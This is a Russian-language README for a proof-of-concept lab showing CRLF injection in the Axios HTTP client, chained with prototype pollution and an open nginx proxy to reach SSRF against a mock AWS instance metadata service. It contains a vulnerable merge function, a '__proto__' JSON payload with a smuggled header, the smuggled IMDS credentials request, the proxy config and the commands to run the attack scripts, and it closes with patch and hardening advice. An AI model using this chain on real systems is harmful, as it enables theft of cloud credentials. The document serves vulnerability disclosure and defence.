
Доказательство концепции, демонстрирующее CRLF-инъекцию и контрабанду HTTP-запросов в Axios, связывающее загрязнение прототипа для достижения SSRF и доступа к внутренним сервисам, таким как IMDS.
Уязвимость CRLF-инъекции в HTTP-клиенте Axios (>=1.0.0 <1.15.0, <0.31.0), вызванная отсутствием проверки \r\n в значениях заголовков методом AxiosHeaders.set().
Если атакующий комбинирует её с отдельной Prototype Pollution (lodash, qs и т.д.) или напрямую внедряет CRLF в заголовок, через промежуточный слой (например, открытый прокси nginx) возможен SSRF к произвольному внутреннему серверу.
| Пункт | Содержание |
|---|
| CVSS | 9.9 (Critical) |
| Затронутые версии | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| Версия с исправлением | 1.15.0, 0.31.0 |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ удаляет только завершающие CRLF
↑ \r\n в середине значения проходит без проверки
В итоге, если вставить \r\n\r\nGET /admin HTTP/1.1\r\n... в значение заголовка, в TCP-поток попадает второй HTTP-запрос.
Все объекты в JavaScript наследуются от Object.prototype. Prototype Pollution — это атака, при которой загрязняется сам общий прототип, что влияет на все объекты, создаваемые впоследствии.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← не объявляли, но существует
Уязвимая рекурсивная merge-функция (lodash < 4.17.21, qs и т.д.) не обрабатывает ключ "__proto__" особым образом.
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// когда key = "__proto__":
// target["__proto__"] → возвращает Object.prototype
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → прямое внедрение свойств в Object.prototype
} else {
target[key] = source[key];
}
}
}
// JSON атакующего: __proto__ парсится как собственное свойство
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← загрязнение успешно
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
код приложения: const opts = {};
opts.headers → цепочка прототипов → возвращает загрязнённый объект
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← без проверки CRLF
↓
TCP-поток содержит смагглированный запрос
Загрязнение Object.prototype.headers влияет и на внутренние schema-объекты axios.
при вызове assertOptions(config, schema)
schema['headers'] → цепочка прототипов → возвращает загрязнённый объект
validator(value) → вызов объекта как функции → TypeError
В реальной атаке необходимо точно контролировать область загрязнения: широкое загрязнение может привести к краху приложения до выполнения задуманной атаки (побочный эффект DoS).
[1] Прямая инъекция заголовка или Prototype Pollution (через уязвимую merge-библиотеку)
↓
[2] axios сериализует значение с CRLF в заголовок без проверки
↓
[3] Запись в TCP-поток через raw net.Socket
(стандартный http-модуль Node.js блокирует это в рантайме → нужен custom adapter)
↓
[4] nginx (proxy_pass http://$http_host) разбирает как 2 отдельных запроса
↓
[5] Маршрутизация смагглированного запроса на другой upstream на основе Host-заголовка (SSRF)
↓
[6] Доступ к внутреннему серверу (IMDS и т.д.) → кража учётных данных
| Условие | Содержание |
|---|---|
| Обход http-модуля Node.js | использование custom adapter на основе net.Socket |
| Открытый прокси nginx | настройка proxy_pass http://$http_host |
ignore_invalid_headers on | разрешение нестандартных заголовков |
Директива resolver | возможность динамического разрешения hostname |
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (raw net.Socket → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → raw socket → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (future)
:3001 :8080 :80
:3003 (169.254.169.254 mock)
:3004
| Порт | Сервис | Роль |
|---|---|---|
| 3001 | backend | приём HTTP-запросов / логирование заголовков |
| 3003 | backend | статический сервер для exploit.html |
| 3004 | backend | relay — преобразование POST из браузера → net.Socket |
| 8080 | nginx | открытый прокси (proxy_pass http://$http_host) |
| 80 (внутренний) | imds | mock-сервер AWS IMDSv2 |
# Сборка и запуск всех контейнеров
docker compose up --build
# Node.js тесты (запуск на хосте)
npm install
# 1. Напрямую к backend — CRLF-инъекция создаёт 2 запроса
node poc/test-axios-adapter-backend.js
# 2. Через nginx — смагглированный запрос маршрутизируется на backend:3001
node poc/test-axios-adapter-nginx.js
# 3. Цепочка Prototype Pollution → CRLF Injection → SSRF
node poc/test-prototype-pollution.js
# 4. Браузер — http://localhost:3003
# Выбор цели: напрямую к backend / через nginx / nginx → IMDS (SSRF)
1. Выбрать nginx → IMDS и запустить Custom Adapter
2. Смагглированный запрос: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx маршрутизирует по host=imds → передаёт на mock-сервер IMDSv2
4. Лог контейнера imds: [!!!] кража учётных данных успешна!
.
├── docker-compose.yml
├── Dockerfile.backend # контейнер backend + relay
├── Dockerfile.imds # mock-контейнер IMDSv2
├── package.json # [email protected] (фиксация уязвимой версии)
└── poc/
├── backend-server.js # HTTP-сервер (3001), relay (3004), статический сервер (3003)
├── mock-imds.js # mock AWS IMDSv2 (PUT /token, GET /credentials)
├── nginx-container.conf # настройка открытого прокси
├── exploit.html # браузерный PoC (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # raw socket → напрямую к backend
├── test-axios-adapter-nginx.js # raw socket → nginx → backend/imds
├── test-axios-no-adapter.js # стандартный axios (для проверки блокировки Node.js)
└── test-prototype-pollution.js # цепочка Prototype Pollution → CRLF Injection
resolver 127.0.0.11 valid=30s; # внутренний DNS Docker
location / {
proxy_pass http://$http_host; # динамическая маршрутизация на основе Host = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # фиксированный upstream для обычных запросов
}
Поскольку $http_host (с портом) используется как upstream, Host-заголовок смагглированного запроса становится целью маршрутизации.
npm install axios@^1.15.0
Патч (1.15.0) вводит assertValidHeaderValue(), которая немедленно отклоняет значения, содержащие CR/LF.
Дополнительная защита:
proxy_pass http://$http_host в nginx → использовать фиксированные upstreamHttpTokens: required)